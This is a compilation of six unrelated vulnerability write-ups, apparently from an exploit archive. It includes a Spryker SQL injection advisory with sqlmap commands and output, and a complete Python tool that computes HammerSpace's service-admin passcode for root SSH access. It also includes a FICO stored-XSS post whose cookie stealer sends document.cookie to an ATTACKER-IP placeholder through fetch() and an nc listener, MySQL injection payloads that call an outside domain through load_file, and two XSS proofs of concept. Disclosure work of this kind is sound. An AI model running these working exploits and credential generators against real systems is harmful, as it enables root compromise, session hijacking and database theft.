<pre><code>-----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA512<br /><br />Title<br />=====<br /><br />SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS<br /><br />Status<br />======<br /><br />PUBLISHED<br /><br />Version<br />=======<br /><br />1.0<br /><br />CVE reference<br />=============<br /><br />CVE-2023-27568<br /><br />Link<br />====<br /><br />https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-001/<br /><br />Text-only version:<br />https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-001.txt<br /><br />Affected products/vendor<br />========================<br /><br />Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales: <br />11.16.0-11.36.1<br />or spryker-feature/order-management: 202009.0-202212.0<br /><br />Summary<br />=======<br /><br />An SQL injection vulnerability affecting Spryker-based webshops was <br />discovered<br />in the order history search form. It can be exploited by authenticated<br />attackers in order to retrieve informationen from the database (e.g. <br />customer<br />and administrator login information, order details, etc.). Depending on the<br />configuration of the webshop, access to the file system or even execution of<br />arbitrary commands on the database management system is possible.<br /><br />Risk<br />====<br /><br />Attackers with valid credentials for Spryker-based webshops are able to <br />exploit<br />an SQL injection vulnerability in the order history search form. This allows<br />full access to the application’s database and the data stored within it. <br />This<br />database will generally contain -- among other information -- personally<br />identifiable information. Disclosure of such data could lead to reputation<br />damage for the webshop's owner. In addition, the vulnerability might <br />also pose<br />legal risks regarding General Data Protection Regulation (GDPR).<br /><br />Depending on the configured authentication methods, the database will also<br />contain login information of customers and administrators. <br />Administrative login<br />information (i.e. username and password hash) could enable attackers to <br />extend<br />their privileges and access the shop's backend, where administrative actions<br />can be performed. In combination with the vulnerability described in<br />SCHUTZWERK-SA-2022-003/CVE-2022-28888 [1], remote command execution <br />could also<br />be feasible from this position if access to the required environment <br />variables<br />is possible. The login information of customers could be abused by <br />attackers,<br />for example if credentials are re-used across different services.<br /><br />Depending on the DBMS (database management system) in use, write access <br />to the<br />database could theoretically also be possible. In this case, attackers can<br />create new users and grant them administrative privileges, again <br />allowing for<br />privilege escalation. Also, once more depending on the DBMS, reading and<br />writing files on the file system of the DBMS or even direct execution of<br />arbitrary system commands could be possible.<br /><br />The vulnerability can be easily detected, even through automated <br />scanners, and<br />trivially exploited using tools such as sqlmap [2].<br /><br />Description<br />===========<br /><br />Structured Query Language, abbreviated as SQL, is a standardized programming<br />language for managing data held in a relational database management <br />system and<br />performing various operations on the data stored in them. SQL injection<br />vulnerabilities occur when attacker-controlled data is embedded unchecked in<br />SQL queries. Such vulnerabilities allow attackers to bypass restrictions <br />in the<br />application logic and issue manipulated queries to the database server.<br />Depending on various factors (database management system used, database user<br />permissions, etc.), it may be possible to read, modify and delete data and<br />compromise the database or application server.<br /><br />The Spryker-based webshop examined as part of a customer assessment <br />offers an<br />order history with a list of orders that have been placed in the past. While<br />testing this function, it was observed that a server-side error <br />condition was<br />triggered when a single quotation mark (') was placed in the search term <br />field.<br />The HTTP request that triggered this error condition is the following<br />(URL-decoded and shortened for increased readability):<br /><br />GET <br />/de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]='&<br />orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&<br />orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&<br />orderSearchForm[orderDirection]=&orderSearchForm[reset]=&<br />orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1<br />Host: <redacted><br />Cookie: <redacted><br />[...]<br /><br />If the search term is instead comprised of two single quotation marks, the<br />server does not return an error message and successfully completes the <br />search<br />operation:<br /><br />GET <br />/de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]=''&<br />orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&<br />orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&<br />orderSearchForm[orderDirection]=&orderSearchForm[reset]=&<br />orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1<br />Host: <redacted><br />Cookie: <redacted><br />[...]<br /><br />This behavior with respect to the single quotation mark is often an <br />indicator<br />of SQL injection vulnerabilities. As a next step, the sqlmap [2] utility was<br />used to partly automate the verification and exploitation phase:<br /><br />% cat search.req<br />GET <br />/de/customer/order?orderSearchForm%5BsearchType%5D=all&orderSearchForm%5BsearchText%5D=test*<br />&orderSearchForm%5Bfilters%5D%5BdateFrom%5D=&orderSearchForm%5Bfilters%5D%5BdateTo%5D=&<br />orderSearchForm%5Bfilters%5D%5Bcompany%5D=company&buttonSubmit=&orderSearchForm%5BorderBy%5D=&<br />orderSearchForm%5BorderDirection%5D=&orderSearchForm%5Breset%5D=&<br />orderSearchForm%5B_token%5D=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A <br />HTTP/1.1<br />Host: <redacted><br />Cookie: <redacted><br /><br />% sqlmap -r search.req --force-ssl --current-db<br />[...]<br />[10:37:12] [INFO] parsing HTTP request from 'search.req'<br />custom injection marker ('*') found in option '-u'. Do you want to <br />process it? [Y/n/q]<br />[10:37:12] [INFO] testing connection to the target URL<br />[...]<br />Parameter: #1* (URI)<br />Type: time-based blind<br />Title: PostgreSQL > 8.1 AND time-based blind<br />Payload: <br />https://<redacted>:443/de/customer/order?orderSearchForm[searchType]<br />=all&orderSearchForm[searchText]=test')) AND 2882=(SELECT 2882 FROM <br />PG_SLEEP(5)) AND<br />(('yIoB'='yIoB&orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&<br />orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&<br />orderSearchForm[orderDirection]=&orderSearchForm[reset]=&<br />orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A<br />[10:37:14] [INFO] the back-end DBMS is PostgreSQL<br />back-end DBMS: PostgreSQL (CockroachDB fork)<br />[10:37:14] [INFO] fetching current database<br />[...]<br />public<br />current database (equivalent to schema on PostgreSQL): 'public'<br />[...]<br /><br />The URL parameter orderSearchForm[searchText] was marked with an asterisk in<br />the request to force sqlmap to focus on this parameter. sqlmap confirmed the<br />vulnerability and successfully extracted the name of the current database as<br />"public". Time-based blind SQL injection vulnerabilities are notoriously <br />slow<br />to exploit. Nonetheless, it was still possible to extract the following <br />list of<br />tables contained in the current database:<br /><br />+--------------------------------------------------+<br />[...]<br />| spy_acl_group |<br />| spy_acl_group_archive |<br />| spy_acl_groups_has_roles |<br />| spy_acl_role |<br />| spy_acl_role_archive |<br />| spy_acl_rule |<br />| spy_acl_rule_archive |<br />| spy_acl_user_has_group |<br />| spy_auth_reset_password |<br />| spy_auth_reset_password_archive |<br />| spy_availability |<br />| spy_availability_abstract |<br />| spy_availability_storage |<br />[...]<br />+--------------------------------------------------+<br /><br />Using the same method, access to the content of the different database <br />tables<br />is possible.<br /><br />Solution/Mitigation<br />===================<br /><br />Updated versions of the affected modules have been released by the <br />vendor and<br />should be applied.<br /><br />In general, the following mitigation measures apply to SQL injection<br />vulnerabilities:<br /><br />It is recommended to use so-called prepared statements with parameterized<br />queries. With this mechanism, user input is strictly separated from the <br />actual<br />SQL query. It is then processed only as a string and not as part of the SQL<br />query. This makes it impossible for an attacker to modify the query itself.<br /><br />The entire code base should be audited to determine at which other endpoints<br />SQL queries are generated and used. This should be followed by a <br />migration to<br />prepared statements. The adaptation should be prioritized based on the risk.<br />For example, the risk of successful exploitation is significantly higher <br />in the<br />login screen than in an administrative function that is not visible to <br />normal<br />users of the application. Accordingly, the source code of the exposed <br />functions<br />should be adapted first.<br /><br />In some cases, parameterized queries cannot be used, for example, when <br />the data<br />fields addressed by the query are dynamic. In such cases, frameworks, <br />database<br />APIs, or the programming language itself provide functions that mask the <br />inputs<br />appropriately so that they can be embedded in queries in a safe way. The SQL<br />injection security guidelines [3] of Spryker should also be considered.<br /><br />Additional guidelines and recommendations regarding SQL injection are <br />provided<br />in the SQL Injection Prevention Cheat Sheet [4] of OWASP.<br /><br />Disclosure timeline<br />===================<br /><br />2022-11-25: Vulnerability discovered as part of assessment for customer<br />2022-12-23: Vulnerablity details sent to vendor, vendor could not open <br />details<br /> due to S/MIME-related issues<br />2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form<br />2023-01-09: Vendor acknowledges receipt of report<br />2023-01-12: Vendor requests additional information related to customer's<br /> configuration, SCHUTZWERK provides requested information<br />2023-01-13: Vendor requests additional information related to customer's<br /> configuration<br />2023-01-16: SCHUTZWERK provides requested information<br />2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the<br /> vulnerability and that a fix is in progress<br />2022-02-28: Vendor confirms that customers were notified about the <br />vulnerability<br />2023-04-19: Vendor informed of intent to pushlish<br />2023-04-20: Advisory published by SCHUTZWERK<br /><br />Contact/Credits<br />===============<br /><br />The vulnerability was discovered during an assessment by David Brown of<br />SCHUTZWERK GmbH.<br /><br />References<br />==========<br /><br />[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2022-003/<br />[2] https://github.com/sqlmapproject/sqlmap<br />[3] <br />https://docs.spryker.com/docs/scos/dev/guidelines/security-guidelines.html#sql-injection<br />[4] <br />https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html<br /><br />Disclaimer<br />==========<br /><br />The information provided in this security advisory is provided "as is" and<br />without warranty of any kind. Details of this security advisory may be <br />updated<br />in order to provide as accurate information as possible. The most recent<br />version of this security advisory can be found at SCHUTZWERK GmbH's website<br />( https://www.schutzwerk.com ).<br />-----BEGIN PGP SIGNATURE-----<br /><br />iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRBN4IaHGFkdmlzb3Jp<br />ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLruBixAAoq+FOe1zpWgek8vhcTO4<br />HiOIjTJJwKy+TTt12Av7iMN2vwmqEwB49iN9legPCAGZ43i7j2m+lxuYC25p2dF9<br />q6UZPW3fdbX1mbWrWOx/lM0EJdFjkSWkgSo4oSmpLK4Tra3Ox/6zwPgcVifMe9Ky<br />JJC2jHHw1gHjORUM3FmMmbDDcXEhfZTs94Dy+GdjpapsZiO7wZyq8XTTQHMTDWCZ<br />elhTW8NKaPiAzu1yfjB80U/lvV8rfoL0ud1pHC2Pz3bUxybXgNVXpNTrpWrGjj7j<br />NEhlkq7va0thyNF1nXsAzD7sjeNKIJ4xkA4WNmv+J7NJEiHttbGkiMQHH8cEMmBM<br />Q1Gn1orb+96NB0KtiyvlWMxkNPhnfJdgMMRbHWpSLrscaiEvECpHyOD6GrRz7/bc<br />RztvsBpSp/OeNGPesgVaokYJctJzuCD+EKgExxcfDGN2w58YTnaCZ4JGi+8jsrbY<br />GAp22fl4xBLhsoKOi8h4HufXQ1hYT8duGJ2BLqDHEelPidx+Yk4ssMmtvqtMtq5+<br />rL3iZiXyOmc0bqTU4X9rPFabMyK9II7aVNHrNQ/8MEFYo04LGLzNvwgDNCQY9MM5<br />tIzT/ATf7dB8Fy+/yKGDAteELzS2PkTjwv6sIeW6SZNGoz6g/Mt/S+yzPQnmGMjI<br />EYeXWOAZib8rqZC/UeSqlz4=<br />=6t5G<br />-----END PGP SIGNATURE-----<br /><br />-- <br />SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany<br />Zertifiziert / Certified ISO 27001, 9001 and TISAX<br /><br />Phone +49 731 977 191 0<br /><br />advisories@schutzwerk.com / www.schutzwerk.com<br /><br />Geschäftsführer / Managing Directors:<br />Jakob Pietzka, Michael Schäfer<br /><br />Amtsgericht Ulm / HRB 727391<br />Datenschutz / Data Protection www.schutzwerk.com/datenschutz<br /><br /></code></pre>
<pre><code># Affected Product: HammerSpace Global Data Environment / Global File System -<br /># https://hammerspace.com/product<br /># <br /># Affected Versions: v4.6.6-324 and below with default installation/configuration.<br /># <br /># Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in<br /># an upcoming release<br /># <br /># Description:<br />#<br /># A utility that can generate the TOTP passcode used to sign In as the support service<br /># account user for HammerSpace GFS default installations. Both the OVA and ISO are effected.<br /># <br /># To utilize:<br /># <br /># 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N<br /># 2. Generate the password of the day for the service admin account:<br /># ./hsps-passgen.py —serials SERIALNUMBER<br /># 3. SSH as the service admin account to the server and specify the outputted TOTP passcode<br /># 4. Enjoy root<br /># <br /># <br />#!/usr/bin/env python3<br />import argparse, getpass, os, random, string, sys<br />from datetime import datetime<br />from random import Random<br /><br />#make it python3 compatible thanks for changing random guys!<br />class HSRandom(Random):<br /> def seed(self, seed):<br /> if sys.version_info[0] == 3:<br /> return super(HSRandom,self).seed(seed,version=1)<br /> else:<br /> return super(HSRandom,self).seed(seed)<br /> def choice(self, seq):<br /> if sys.version_info[0] == 3:<br /> """Choose a random element from a non-empty sequence."""<br /> return seq[int(super(HSRandom,self).random() * len(seq))] # raises IndexError if seq is empty<br /> else:<br /> return super(HSRandom, self).choice(seq)<br /> <br />VERSION = "hspc-passgen v4.3.2"<br />USAGE_DESC = "No help."<br />PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace")<br />PARSER.add_argument("-V", "--version", action="store_true", help="Prints version")<br />PARSER.add_argument("--debug", action="store_true", help="Debug Output")<br />PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type")<br />PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code")<br />PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host")<br />ARGS = PARSER.parse_args()<br /><br />def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook):<br /> if ARGS.debug:<br /> debug_hook(exception_type, exception, traceback)<br /> else:<br /> print("%s: %s" % (exception_type.__name__, exception))<br /> sys.exit(1)<br /><br /><br />sys.excepthook = exc_handler<br /><br />def generate_password_v2(seed_str, _, length=8):<br /> """Generate a simple password seeded with supplied text"""<br /> serial = seed_str[-5:].lower()<br /> collapsed = ("").join(disambiguate(x) for x in serial)<br /> chars = string.digits<br /> seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed<br /> hs_random = HSRandom(seed)<br /> return ("").join(hs_random.choice(chars) for i in range(length))<br /><br /><br />def generate_password_v3(seed_str, datecode, length=10):<br /> """Generate a stronger password seeded with supplied text"""<br /> serial = seed_str[-8:].lower()<br /> collapsed = ("").join(disambiguate_v3(x) for x in serial)<br /> chars = string.digits<br /> seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed<br /> hs_random = HSRandom(seed)<br /> return ("").join(hs_random.choice(chars) for i in range(length))<br /><br /><br />def generate_password(seed_str, datecode, pwtype=3):<br /> return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode)<br /><br /><br />def disambiguate(char):<br /> """Substitute ambiguous characters with non-ambiguous ones"""<br /> char = str(char)<br /> if char in ("1", "I", "!", "|"):<br /> dis = "l"<br /> elif char in ("D", "Q", "O", "0"):<br /> dis = "o"<br /> elif char in ("3", "B", "8", "6"):<br /> dis = "b"<br /> elif char in ("5", "S", "$"):<br /> dis = "s"<br /> elif char in ("A", "4"):<br /> dis = "a"<br /> elif char in ("V", "U"):<br /> dis = "u"<br /> elif char in ("M", "W"):<br /> dis = "m"<br /> elif char in ("C", "("):<br /> dis = "c"<br /> else:<br /> dis = char<br /> return dis<br /><br /><br />def disambiguate_v3(char):<br /> """Substitute ambiguous characters with non-ambiguous ones"""<br /> char = str(char)<br /> if char in ("L", "1", "I"):<br /> dis = "l"<br /> elif char in ("Q", "O", "0"):<br /> dis = "o"<br /> elif char in ("B", "8"):<br /> dis = "b"<br /> elif char in ("5", "S"):<br /> dis = "s"<br /> elif char in ("V", "U"):<br /> dis = "u"<br /> else:<br /> dis = char<br /> return dis<br /><br />def main():<br /> if ARGS.version:<br /> print(VERSION)<br /> return 0<br /> if ARGS.pwtype not in (2, 3):<br /> print("\nERROR: Invalid parameters.\n")<br /> PARSER.print_help()<br /> return 1<br /> if ARGS.serials is None or len(ARGS.serials) == 0:<br /> print("\nERROR: Invalid parameters.\n")<br /> PARSER.print_help()<br /> return 1<br /> print("SERIAL - PASSCODE")<br /> for serial in ARGS.serials:<br /> print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}")<br /><br />if __name__ == "__main__":<br /> sys.exit(main())<br /></code></pre>
<pre><code># Exploit Title: Stored-XSS in FICO Origination Manager Decision Module 4.8.1 Leads to Session Hijacking<br /># Date: 2023-05-07<br /># Exploit Author: Matei Josephs<br /># Vendor Homepage: https://www.fico.com/<br /># Version: FICO Origination Manager Decision Module 4.8.1<br /># CVE : CVE-2023-30056, CVE-2023-30057<br /><br />Introduction<br />=================<br />Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow to execute code in the context of the victim's browser using a crafted payload. Additionally, an attacker with initial access to the application, can get the JSESSIONID cookie of another user and take over their session. These two findings can be chained together.<br /><br />Proof of Concept<br />=================<br />All description fields when adding Categories and Products, Product Strategies, Decision Flows, Data Object References, Data Methods, Data Method Sequences, Rulesets, Decision Tables, Decision Trees, Score Models, Scenarios, or Internal Services are vulnerable to a stored XSS using the following payload: <br /> <img/src/onerror=prompt(document.cookie)><br /><br />An attacker could implement a cookie stealer as follows:<br /> On the attacker's machine:<br /> nc -lvnp <PORT><br /> In one of the vulnerable description fields:<br /> <img/src/onerror=fetch('http://<ATTACKER-IP>:<PORT>/'+document.cookie)><br /><br />When a victim would visit the page where the payload was injected, the attacker would receive their JSESSIONID cookie. The attacker could then use the JSESSIONID cookie to log into the Origination Manager Decision Module as the victim. <br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : techrobot.in │<br />│ Vendor : Tech Robot │<br />│ Software : BlogMagz CMS 1.0 │<br />│ Vuln Type: Reflected XSS │<br />│ Method : GET │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /search<br /><br />GET parameter 'q' is vulnerable to RXSS<br /><br />https://website/blogmagz/search?q=123rto10%3cscript%3ealert(1)%3c%2fscript%3efffyz<br /><br /><br />[-] Done<br /></code></pre>
<pre><code>## Title: Found Information System 1.0 Multiple-SQLi<br />## Author: nu11secur1ty<br />## Date: 05.07.2023<br />## Vendor: https://github.com/oretnom23<br />## Software: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html<br />## Reference: https://portswigger.net/web-security/sql-injection<br /><br />## Description:<br />The `cid` parameter appears to be vulnerable to SQL injection attacks.<br />The payload '+(select<br />load_file('%5c%5c%5c%5c446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity%5c%5coca'))+'<br />was submitted in the cid parameter. This payload injects a SQL<br />sub-query that calls MySQL's load_file function with a UNC file path<br />that references a URL on an external domain. The application<br />interacted with that domain, indicating that the injected SQL query<br />was executed.<br />The attacker can get susceptible - sensitive information about the<br />system, then he can perform another more dangerous attack.<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Payload:<br />```mysql<br />---<br />Parameter: cid (GET)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause<br /> Payload: page=items&cid=-9014' OR 4485=4485 AND 'MLAS'='MLAS<br /><br /> Type: error-based<br /> Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)<br /> Payload: page=items&cid=-3437' OR 1 GROUP BY<br />CONCAT(0x71786b7171,(SELECT (CASE WHEN (5811=5811) THEN 1 ELSE 0<br />END)),0x71627a6b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: page=items&cid=2'+(select<br />load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''<br />AND (SELECT 9471 FROM (SELECT(SLEEP(3)))atkh) AND 'RWRl'='RWRl<br /><br /> Type: UNION query<br /> Title: MySQL UNION query (UTF8) - 5 columns<br /> Payload: page=items&cid=2'+(select<br />load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''<br />UNION ALL SELECT<br />'UTF8',CONCAT(0x71786b7171,0x506f70715a457a794d7641625051436b4c4a52576d51645242665863795a6f594d4843426d654b46,0x71627a6b71),'UTF8','UTF8','UTF8','UTF8'#<br />---<br /><br />```<br /><br />## Proof and Exploit:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Lost-and-Found-Information-1.0)<br /><br />## Time spend:<br />00:37:00<br /><br /><br /></code></pre>
<pre><code>1. ADVISORY INFORMATION<br />=======================<br /><br />Exploit Title: Rollout::UI v0.5 Cross-site scripting<br />Date: 2023-05-05<br />Exploit Author: Eduardo José de Borba<br />Vendor Homepage: https://github.com/fetlife<br />Software Link: https://github.com/fetlife/rollout-ui<br />Type: Cross-Site Scripting [CWE-79]<br />Tested on: Linux/OSx<br />CVE: 2023-25309<br />CVSS Score: 5.3 https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N<br /><br />2. CREDITS<br />==========<br />This vulnerability was discovered and researched by Heiko Webers from<br />bauland42.<br /><br />3. VERSIONS AFFECTED<br />====================<br /><br />Rollout::UI <= v0.5<br /><br />4. INTRODUCTION<br />===============<br /><br />Rollout::UI is a Minimalist UI for the rollout gem that you can just mount as a Rack app.<br /><br />5. VULNERABILITY DETAILS<br />========================<br /><br />The feature's name isn't escaped properly in the "Do you really want to delete" confirmation dialog.<br />When the user clicks "Delete", the page will run the XSS from the feature name.<br /><br />6. PROOF OF CONCEPT<br />===================<br /><br />The following PoC triggers a JavaScript alert when clicking at the "Delete" button:<br /><br />http://<host>/features/'+alert(document.cookie)+'<br /><br />7. SOLUTION<br />===========<br />Update to Rollout::UI to use the following branch: https://github.com/fetlife/rollout-ui/pull/15. The fix was not accepted by the vendor yet.<br /></code></pre>